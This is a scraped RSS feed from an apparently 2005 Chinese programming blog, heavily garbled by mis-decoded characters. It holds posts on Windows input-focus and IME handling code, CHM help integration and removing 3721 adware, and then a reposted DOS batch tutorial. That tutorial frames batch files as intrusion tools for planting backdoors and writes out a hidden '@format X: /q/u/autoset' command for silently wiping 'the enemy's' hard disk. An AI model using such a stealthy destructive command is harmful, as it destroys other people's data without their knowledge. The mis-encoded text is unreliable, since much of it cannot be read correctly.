src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #000000">DWORD idAttachTo, </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> 附加到的U程ID </span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #000000">BOOL fAttach </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> true 附加 false 取消 </span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #000000">); </span></div>函数使用的过E大致如? <br /><div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /><span style="COLOR: #000000">HWND hWnd; <br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" />hWnd </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> GetForegroundWindow(); </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> 得到当前H口 </span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (hWnd </span><span style="COLOR: #000000">==</span><span style="COLOR: #000000"> Form1</span><span style="COLOR: #000000">-></span><span style="COLOR: #000000">Handle) </span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">; </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> 排除E序本n的窗口?/span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #000000">DWORD FormThreadID </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> GetCurrentThreadId(); </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> 本程序的U程ID <br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> 当前H口的线EID </span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #000000">DWORD CWndThreadID </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> GetWindowThreadProcessId(hWnd, NULL); <br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> 附加输入U程 </span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #000000">AttachThreadInput(CWndThreadID, FormThreadID, </span><span style="COLOR: #0000ff">true</span><span style="COLOR: #000000">); <br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> 得到当前键盘光标所在的H口 </span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #000000">hWnd </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> GetFocus(); <br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> 取消附加的输入线E?/span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #000000">AttachThreadInput(CWndThreadID, FormThreadID, </span><span style="COLOR: #0000ff">false</span><span style="COLOR: #000000">); <br /></span></div>hWnd是当前键盘光标所在的H口句柄。另外,l过试发现Q在Windows2000pȝ下发送字W消息(WM_CHARQ时Q如果字W是一个汉字,则该字符对应的虚拟键盘码高位不ؓ(f)0Q这样得到的字符׃正确。解军_法是做一个“与”运? ch & 0xFF可以了?<br /><br /><br /><strong>输入法的切换:</strong><br />WM_INPUTLANGCHANGE<br />platform sdk=>User Interface Servic=>windowing=>windows=>window reference =>Messages<br /><br /><strong>关于输入?</strong><br />platform sdk=>Windows Base Services=>International Features=>Input Method Editor<br /><br /><br /><strong>自己处理键盘输入要做的事Q?br /></strong>如果你要自己处理键盘和输入法的输入而不用Eidt或richedit{控件的话,臛_需要做以下处理以下消息WM_IME_STARTCOMPOSITION;WM_IME_ENDCOMPOSITION;WM_IME_COMPOSITION;<br /><div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /><span style="COLOR: #000000">LRESULT CCaretStudyView::OnImeStartComposition(WPARAM wParam, LPARAM lParam)<br /><img id="Codehighlighter1_77_492_Open_Image" onclick="this.style.display='none'; Codehighlighter1_77_492_Open_Text.style.display='none'; Codehighlighter1_77_492_Closed_Image.style.display='inline'; Codehighlighter1_77_492_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif" align="top" /><img id="Codehighlighter1_77_492_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_77_492_Closed_Text.style.display='none'; Codehighlighter1_77_492_Open_Image.style.display='inline'; Codehighlighter1_77_492_Open_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ContractedBlock.gif" align="top" /></span><span id="Codehighlighter1_77_492_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.cnitblog.com/Images/dot.gif" /></span><span id="Codehighlighter1_77_492_Open_Text"><span style="COLOR: #000000">{<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />    HIMC hIMC </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> ::ImmGetContext(m_hWnd);<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />    COMPOSITIONFORM CompForm;<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />    CompForm.dwStyle </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> CFS_POINT;<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />    CompForm.ptCurrentPos.x </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">10</span><span style="COLOR: #000000">;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">用实际的g?/span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" /></span><span style="COLOR: #000000">    CompForm.ptCurrentPos.y </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">10</span><span style="COLOR: #000000">;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">用实际的g?/span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" /></span><span style="COLOR: #000000">    ::ImmSetCompositionWindow(hIMC, </span><span style="COLOR: #000000">&</span><span style="COLOR: #000000">CompForm);<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />    </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">DropCaret();可在此处隐藏光标Q在OnImeEndComposition消息处理中再昄光标</span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" /></span><span style="COLOR: #000000">    ::ImmReleaseContext(m_hWnd, hIMC);<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />    </span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000"> ::DefWindowProc(m_hWnd, WM_IME_STARTCOMPOSITION, wParam, lParam);<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif" align="top" />}</span></span><span style="COLOR: #000000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /><br /><img id="Codehighlighter1_542_602_Open_Image" onclick="this.style.display='none'; Codehighlighter1_542_602_Open_Text.style.display='none'; Codehighlighter1_542_602_Closed_Image.style.display='inline'; Codehighlighter1_542_602_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif" align="top" /><img id="Codehighlighter1_542_602_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_542_602_Closed_Text.style.display='none'; Codehighlighter1_542_602_Open_Image.style.display='inline'; Codehighlighter1_542_602_Open_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ContractedBlock.gif" align="top" />LRESULT CCaretStudyView::OnImeEndComposition() </span><span id="Codehighlighter1_542_602_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.cnitblog.com/Images/dot.gif" /></span><span id="Codehighlighter1_542_602_Open_Text"><span style="COLOR: #000000">{<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />    </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">ShowCaretAtCurrentPosition();</span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" /></span><span style="COLOR: #000000">    </span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000"> Default();<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif" align="top" />}</span></span><span style="COLOR: #000000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" />LRESULT CCaretStudyView::OnImeComposition(WPARAM wParam, LPARAM lParam)<br /><img id="Codehighlighter1_677_1288_Open_Image" onclick="this.style.display='none'; Codehighlighter1_677_1288_Open_Text.style.display='none'; Codehighlighter1_677_1288_Closed_Image.style.display='inline'; Codehighlighter1_677_1288_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif" align="top" /><img id="Codehighlighter1_677_1288_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_677_1288_Closed_Text.style.display='none'; Codehighlighter1_677_1288_Open_Image.style.display='inline'; Codehighlighter1_677_1288_Open_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ContractedBlock.gif" align="top" /></span><span id="Codehighlighter1_677_1288_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.cnitblog.com/Images/dot.gif" /></span><span id="Codehighlighter1_677_1288_Open_Text"><span style="COLOR: #000000">{<br /><img id="Codehighlighter1_708_1267_Open_Image" onclick="this.style.display='none'; Codehighlighter1_708_1267_Open_Text.style.display='none'; Codehighlighter1_708_1267_Closed_Image.style.display='inline'; Codehighlighter1_708_1267_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" /><img id="Codehighlighter1_708_1267_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_708_1267_Closed_Text.style.display='none'; Codehighlighter1_708_1267_Open_Image.style.display='inline'; Codehighlighter1_708_1267_Open_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ContractedSubBlock.gif" align="top" />    </span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (lParam </span><span style="COLOR: #000000">&</span><span style="COLOR: #000000"> GCS_RESULTSTR) </span><span id="Codehighlighter1_708_1267_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.cnitblog.com/Images/dot.gif" /></span><span id="Codehighlighter1_708_1267_Open_Text"><span style="COLOR: #000000">{<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />        </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">get result text</span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" /></span><span style="COLOR: #000000">        HIMC hIMC </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> ::ImmGetContext(m_hWnd);<br /><img id="Codehighlighter1_781_1252_Open_Image" onclick="this.style.display='none'; Codehighlighter1_781_1252_Open_Text.style.display='none'; Codehighlighter1_781_1252_Closed_Image.style.display='inline'; Codehighlighter1_781_1252_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" /><img id="Codehighlighter1_781_1252_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_781_1252_Closed_Text.style.display='none'; Codehighlighter1_781_1252_Open_Image.style.display='inline'; Codehighlighter1_781_1252_Open_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ContractedSubBlock.gif" align="top" />        </span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (hIMC) </span><span id="Codehighlighter1_781_1252_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.cnitblog.com/Images/dot.gif" /></span><span id="Codehighlighter1_781_1252_Open_Text"><span style="COLOR: #000000">{<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />            </span><span style="COLOR: #0000ff">const</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000"> maxLenInputIME </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">200</span><span style="COLOR: #000000">;<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />            wchar_t wcs[maxLenInputIME];<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />            LONG bytes </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> ::ImmGetCompositionStringW(hIMC,<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />                    GCS_RESULTSTR, wcs, (maxLenInputIME</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">);<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />            </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"><img src="http://www.cnitblog.com/Images/dot.gif" /><img src="http://www.cnitblog.com/Images/dot.gif" /><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />            </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> Set new position after converted</span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" /></span><span style="COLOR: #000000">            CPoint pos </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> GetCurrentPos();<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />            COMPOSITIONFORM CompForm;<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />            CompForm.dwStyle </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> CFS_POINT;<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />            CompForm.ptCurrentPos.x </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> pos.x;<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />            CompForm.ptCurrentPos.y </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> pos.y;<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />            ::ImmSetCompositionWindow(hIMC, </span><span style="COLOR: #000000">&</span><span style="COLOR: #000000">CompForm);<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />            ::ImmReleaseContext(m_hWnd, hIMC);<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />        }</span></span><span style="COLOR: #000000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />        </span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />    }</span></span><span style="COLOR: #000000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />    </span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000"> Default();<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif" align="top" />}</span></span></div>以上三个消息是不做处理也可以Q只不过不会(x)支持如微软拼韌入法的跟随功能?br /><br />qWM_IME_CHAR和W(xu)M_CHARd字符。在WM_KEYDOWN中处理特D字W,如VK_BACK VK_DELTE<img src ="http://www.shnenglu.com/aqazero/aggbug/14193.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/aqazero/" target="_blank">brent</a> 2005-12-19 15:10 <a href="http://www.shnenglu.com/aqazero/archive/2005/12/19/14193.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>VCE序使用chm帮助文ghttp://www.shnenglu.com/aqazero/archive/2005/12/19/14194.htmlbrentbrentMon, 19 Dec 2005 01:30:00 GMThttp://www.shnenglu.com/aqazero/archive/2005/12/19/14194.htmlhttp://www.shnenglu.com/aqazero/comments/14194.htmlhttp://www.shnenglu.com/aqazero/archive/2005/12/19/14194.html#Feedback0http://www.shnenglu.com/aqazero/comments/commentRss/14194.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/14194.html    一开始想用vc6自带的上下文相关帮助。在建立工程的时候选择context-sensitive help卛_。嗯Qvc帮我创徏了AfxDlg.rtf、setup.cnt、setup.hm、setup.hpj、setup.ph{文Ӟ以ؓ(f)省事了,用word打开AfxDlg.rtf一看,完全不会(x)~辑。看了《inside visual c++》里面的文章Q还是一头雾水?br />    winhelpq老掉牙的东西Q在win98q代phtmlhelp淘汰了,用它q嘛Q决定弃暗投明,使用html help workshop来做帮助。html help workshop是一Ƒֈ作chm文g的工P微Y免费提供Q到处有的下。用v来也方便Q比~辑rtf格式要方便多得多Q基本方法是把制作好的网往里面塞,不浪费口舌了?

    用html help workshop制作chm是方便,关键是怎么让它可以"上下文相?。程序里调用chm帮组文g的api?br />    HWND HtmlHelp(HWND hwndCaller, LPCSTR pszFile, UINT uCommand, DWORD dwData); 
    更改AppcȝWinHelp()Ҏ(gu)如下Q?br /> void CSetupApp::WinHelp(DWORD dwData, UINT nCmd)
 {
  ::HtmlHelp(NULL, "E:\\workshop\\setup\\hlp\\chmtest.chm", HH_HELP_CONTEXT, dwData);
 }
    具体文g在哪需要具体分析。这里要说的是这个dwData可是很有来头的,设个断点可以看个清楚了Q?br /> ID_HELP命o(h)的消息\径是Q?br /> CWnd::OnWndMsg()
 CDialog::OnCommandHelp()
 LRESULT CDialog::OnCommandHelp(WPARAM, LPARAM lParam)
 {
  if (lParam == 0 && m_nIDHelp != 0)
   lParam = HID_BASE_RESOURCE + m_nIDHelp;//m_nIDHelp是你的对话框的id?br />  if (lParam != 0)
  {
   CWinApp* pApp = AfxGetApp();
   if (pApp != NULL)
    pApp->WinHelp(lParam);//
   return TRUE;
  }
  return FALSE;
 }
 
如何写C(j)HM:
    现在要做的就是把dwData和想要显C的东西兌h?/div>
 具体Ҏ(gu)是:(x)
 1、用记事本建立一个文本文Ӟ文g名ؓ(f)Map.h。在该文件中输入下面的内容:(x)
 #define TOPIC1 100
 #define TOPIC2 200
 q里TOPIC1、TOPIC2是一些常量,100?00是你在API调用时指定的ContextID?
 2、在HTMLHelp Workshop中选择Project标签Q点击HtmlHelp API information按钮Q在对话框的Map标签中选择Header File按钮Q然后选择你前面徏立的Map.h文g?
 3、还是在HtmlHelp API information对话框中选择Alias标签Q点击Add按钮Q在对话框中的Whenever This Constant or number is passed to the HTMLHelp API下输入常量,如TOPIC1?
 4、在Use it to Refer to This HTML File中选择HTML文gQ如Topic1.html?
 5、重??两步指定所有文件?
 6、编译文件就可以了?
 Q{?a >http://www.china-askpro.com/msg44/qa78.shtmlQ?br /> 具体的ContextID不是100Q?00啊,是HID_BASE_RESOURCE+对话框ID?br /> 查找一下发玎ͼ(x)#define HID_BASE_RESOURCE 0x00020000UL Q如果你的对话框ID值是0x0102那就?br /> #define MYDLGID 0x20102了?/div>
注:(x)// Help ID basesQafxpriv.hQ?br />#define HID_BASE_COMMAND    0x00010000UL        // ID and IDM
#define HID_BASE_RESOURCE   0x00020000UL        // IDR and IDD
#define HID_BASE_PROMPT     0x00030000UL        // IDP
#define HID_BASE_NCAREAS    0x00040000UL
#define HID_BASE_CONTROL    0x00050000UL        // IDC
#define HID_BASE_DISPATCH   0x00060000UL        // IDispatch help codes
 
如何调用HtmlHelp:
   微Y在提供html help workshop的时候提供了调用Ҏ(gu)Q就是在html help workshop的安装目录下提供了个头文件和静态库Q这个库的作用是装蝲hhctrl.ocx(system32目录?Q调用其中真正的htmlhelpҎ(gu)。具体见Q?br /> http://www.yesky.com/SoftChannel/72342376173010944/20010409/165483.shtml


brent 2005-12-19 09:30 发表评论
]]>宇宙无敌之无ȝ?/title><link>http://www.shnenglu.com/aqazero/archive/2005/12/19/14218.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Mon, 19 Dec 2005 01:26:00 GMT</pubDate><guid>http://www.shnenglu.com/aqazero/archive/2005/12/19/14218.html</guid><wfw:comment>http://www.shnenglu.com/aqazero/comments/14218.html</wfw:comment><comments>http://www.shnenglu.com/aqazero/archive/2005/12/19/14218.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/aqazero/comments/commentRss/14218.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/aqazero/services/trackbacks/14218.html</trackback:ping><description><![CDATA[ <div>昨天lp的机器坏掉,叫我q去修。修好后看到她电(sh)脑上有个3721Q我本h一向觉?721q东西没用,帮她卸载了Q她?sh)脑?28M内存Q何必ؓ(f)没有用的东西费内存和CPU呢?/div> <div> </div> <div>本来q好好的Q没什么事。可俺就有个坏习(fn)惯,查看了一下C:\winnt\downlo~1\目录下的文g。这个文件夹在Explorer下是隐藏的,只能在命令行模式下看。一看了不得啊,一堆垃圾,看都不看什么的Q直?del /q *.*。提CCnsHook.dll CnsMin.dll正在被用,无法删除。打开d理器,看到一个rundll32.exe的进E。俺W一反应是中病毒了。虽然本人是菜鸟Q但一向是疾恶如仇的?/div> <div> </div> <div>我想可能是这病毒开了两个进E互相监视,所以文件删除不掉。于是ɞ浑w解术,修改注册表,重命名文Ӟ删除文gQ启动后q入安全模式。失败、失败!而且x个启动盘居然没Y驱。更可恨的,Norton居然对这个特大号病毒视而不见!</div> <div>d没辙Q上|google了一下CnsHook.dllQ找C处,<a rel="nofollow"><font color="#003399">高手清除病毒的过E?/font></a>。深受教Ԍ原来此病毒就是大名鼎鼎的3721啊,我立马被恶心得想吐,Ҏ(gu)公司的超U无L了更深刻的认识?/div> <div> </div> <div>俺对lp_(d)(x)奇怪居然没人去告这个公司,如此明目张胆的散播病毒,q有没有王法了?/div> <div>lpW着_(d)(x)据说q个公司的老dxxx是亲戚呢?/div> <div>俺大(zhn),原来如此Q同时对lp的消息如此灵通表C崇拜?/div> <div> </div> <div>删除完该病毒后,俺庄严的在lp的配|文件C:\winnt\system32\drivers\etc\host后添?</div> <div>127.0.0.1 www.3721.com</div> <div>希望世界从此清静?..能吗?或许不能Q但误我把q个恶心的名U永q钉在耻i׃Q?/div> <div> </div> <div> <a > <font color="#003399">3721之无d面教?/font> </a>?/div> <div>具体自己看,俺来ȝ一下:(x)</div> <div>1Q对于在办公室上|的同志Q因?721?x)把很多黄色|站攑֜你的地址栏,有些按钮?x)把你引导到黄色电(sh)?jing)|站(?)Q所以如果不心极其影响声誉Q?/div> <div>2Q对于想不断提高?sh)脑性能的发烧友Q?721?x)严重?jing)响电(sh)脑的性能。稍微负责Q的程序是不会(x)乱安装钩子和乱开U程的?/div> <div>3Q对于电(sh)脑配|比较差的,?</div> <div>4Q对于想“我的电(sh)脑我做主”的Q就不用说了Q这U强奸民意的病毒杀之而后快?/div> <img src ="http://www.shnenglu.com/aqazero/aggbug/14218.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/aqazero/" target="_blank">brent</a> 2005-12-19 09:26 <a href="http://www.shnenglu.com/aqazero/archive/2005/12/19/14218.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>~写DOS批处理文件[转] http://www.shnenglu.com/aqazero/archive/2005/12/19/14203.htmlbrentbrentMon, 19 Dec 2005 00:52:00 GMThttp://www.shnenglu.com/aqazero/archive/2005/12/19/14203.htmlhttp://www.shnenglu.com/aqazero/comments/14203.htmlhttp://www.shnenglu.com/aqazero/archive/2005/12/19/14203.html#Feedback0http://www.shnenglu.com/aqazero/comments/commentRss/14203.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/14203.html原文地址http://www.xker.com/article/articleview/2005-2-6/article_view_523.htm

如果没有一定的相关知识恐怕不Ҏ(gu)看懂和理解批处理文gQ也更谈不上自己动手编写了

批处理文件是无格式的文本文gQ它包含一条或多条命o(h)。它的文件扩展名?.bat ?.cmd。在命o(h)提示下键入批处理文g的名Uͼ或者双击该批处理文Ӟpȝ׃(x)调用Cmd.exe按照该文件中各个命o(h)出现的顺序来逐个q行它们。用批处理文gQ也被称为批处理E序或脚本)Q可以简化日常或重复性Q务。当然我们的q个版本的主要内Ҏ(gu)介绍批处理在入R中一些实际运用,例如我们后面要提到的用批处理文g来给pȝ打补丁、批量植入后门程序等。下面就开始我们批处理学习(fn)之旅吧?/p>

一.单批处理内部命o(h)?br />1.Echo 命o(h)
打开回显或关闭请求回昑֊能,或显C消息。如果没有Q何参敎ͼecho 命o(h)显C当前回显设|?br />语法
echo [{ on|off }] [message]
SampleQ@echo off / echo hello world
在实际应用中我们?x)把q条命o(h)和重定向W号Q也UCؓ(f)道W号Q一般用> >> ^Q结合来实现输入一些命令到特定格式的文件中.q将在以后的例子中体现出来?/p>

2.@ 命o(h)
表示不显C@后面的命令,在入侵过E中Q例如用批处理来格式化敌h的硬盘)自然不能让对方看C使用的命令啦?br />SampleQ@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format q个命o(h)是不可以使用/yq个参数的,可喜的是微Y留了个autosetq个参数l我们,效果?y是一L(fng)?

3.Goto 命o(h)
指定跌{到标{,扑ֈ标签后,E序处理从下一行开始的命o(h)?br />语法Qgoto label Qlabel是参敎ͼ指定所要{向的批处理程序中的行。)
SampleQ?br />if { %1 }=={ } goto noparms
if { %2 }=={ } goto noparmsQ如果这里的if?1?2你不明白的话Q先跌去,后面?x)有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便vQ但是最好是有意义的字母啦,字母前加个:(x)用来表示q个字母是标{,goto命o(h)是Ҏ(gu)q个Q来L下一步蟩到到那里。最好有一些说明这样你别h看v来才?x)理解你的意囑֕?/p>

4.Rem 命o(h)
注释命o(h)Q在C语言中相当与/*--------*/,它ƈ不会(x)被执行,只是起一个注释的作用Q便于别人阅d你自己日后修攏V?br />Rem Message
SampleQ@Rem Here is the description.

5.Pause 命o(h)
q行 Pause 命o(h)Ӟ显CZ面的消息Q?br />Press any key to continue . . .
SampleQ?br />@echo off
:begin
copy a:*.* dQ?/back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中Q驱动器 A 中磁盘上的所有文件均复制到d://back中。显C的注释提示(zhn)将另一张磁盘放入驱动器 A Ӟpause 命o(h)?x)ɽE序挂vQ以便?zhn)更换盘Q然后按L键l处理?/p>

6.Call 命o(h)
从一个批处理E序调用另一个批处理E序Qƈ且不l止父批处理E序。call 命o(h)接受用作调用目标的标{。如果在脚本或批处理文g外?CallQ它?yu)不会(x)在命o(h)行v作用?br />语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive: }[Path] FileName
指定要调用的批处理程序的位置和名U。filename 参数必须h .bat ?.cmd 扩展名?/p>

7.start 命o(h)
